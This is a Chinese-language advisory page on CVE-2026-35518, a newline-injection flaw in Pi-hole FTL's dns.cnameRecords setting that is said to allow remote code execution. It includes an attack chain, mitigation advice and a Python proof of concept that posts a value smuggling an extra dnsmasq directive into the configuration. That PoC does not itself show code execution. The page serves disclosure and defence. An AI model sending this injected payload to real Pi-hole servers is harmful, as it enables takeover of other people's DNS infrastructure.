IPBUF安全漏洞报告
English
CVE-2026-35518 CVSS 8.8 高危

CVE-2026-35518 Pi-hole FTL 远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35518
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL (pihole-FTL)

相关标签

RCE远程代码执行Pi-hole配置注入CVE-2026-35518高危漏洞

漏洞概述

Pi-hole FTL(FTLDNS)在6.0至6.6之前的版本中存在严重的远程代码执行漏洞。该漏洞位于DNS CNAME记录配置参数中,允许经过身份验证的攻击者通过注入换行符来插入任意dnsmasq配置指令。成功利用此漏洞可能导致攻击者在底层系统上执行任意命令,从而完全控制受影响的服务器。该问题已在版本6.6中得到修复。

技术细节

该漏洞的核心在于Pi-hole FTL引擎对用户输入的`dns.cnameRecords`参数处理不当。FTLDNS负责生成统计信息并提供API接口,在6.0至6.6版本中,它未能有效过滤输入中的换行控制字符。攻击者在拥有低权限账户的情况下,可以通过Web界面或API提交特制的配置数据。通过在CNAME记录值中插入`\n`换行符,攻击者可以绕过正常的配置逻辑,追加任意dnsmasq配置指令。由于Pi-hole依赖dnsmasq进行DNS解析,这些被注入的指令会在服务重启或重载配置时被解析并执行。攻击者可以利用dnsmasq的特定配置选项(如`dhcp-option`或调用脚本的功能)来实现远程代码执行,进而完全控制底层操作系统。整个过程无需用户交互,攻击复杂度低,危害性极高。

攻击链分析

STEP 1
1. 获取访问权限
攻击者通过钓鱼或弱口令破解获取Pi-hole Web界面的低权限账户凭证。
STEP 2
2. 构造恶意载荷
攻击者构造包含换行符(\n)的特制字符串,该字符串旨在向配置文件中注入恶意的dnsmasq指令。
STEP 3
3. 发送攻击请求
攻击者向API接口发送POST请求,修改`dns.cnameRecords`参数,将恶意载荷写入配置。
STEP 4
4. 触发配置重载
等待系统自动重载或攻击者手动触发配置更新,FTL引擎解析被污染的配置文件。
STEP 5
5. 执行任意代码
dnsmasq执行注入的配置指令,导致攻击者在服务器底层执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35518: Pi-hole FTL Configuration Injection # Target: Pi-hole FTL < 6.6 import requests import json # Configuration TARGET_URL = "http://<pi-hole-ip>/api/config" SESSION_ID = "<valid_admin_or_low_priv_session_cookie>" # The vulnerability allows injecting newline characters to add arbitrary dnsmasq config. # This payload attempts to inject a malicious configuration directive. # Note: Actual command execution depends on the specific dnsmasq directives used. payload = "legit.cname.example.com=192.168.1.1\ndhcp-option=6,10.0.0.1" headers = { "Content-Type": "application/json", "Cookie": f"PHPSESSID={SESSION_ID}" } # Data structure to update the dns.cnameRecords setting data = { "config": { "dns": { "cnameRecords": payload } } } try: response = requests.post(TARGET_URL, headers=headers, data=json.dumps(data)) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the dnsmasq configuration file or trigger a config reload to execute.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Pi-hole FTL >= 6.0, < 6.6

防御指南

临时缓解措施
如果无法立即升级,建议暂时通过防火墙限制对Pi-hole管理界面的访问,仅允许可信的内网管理员IP连接。同时,应密切监控`dns.cnameRecords`及相关配置文件的变更日志,一旦发现包含换行符的异常修改,应立即回滚配置并调查入侵来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表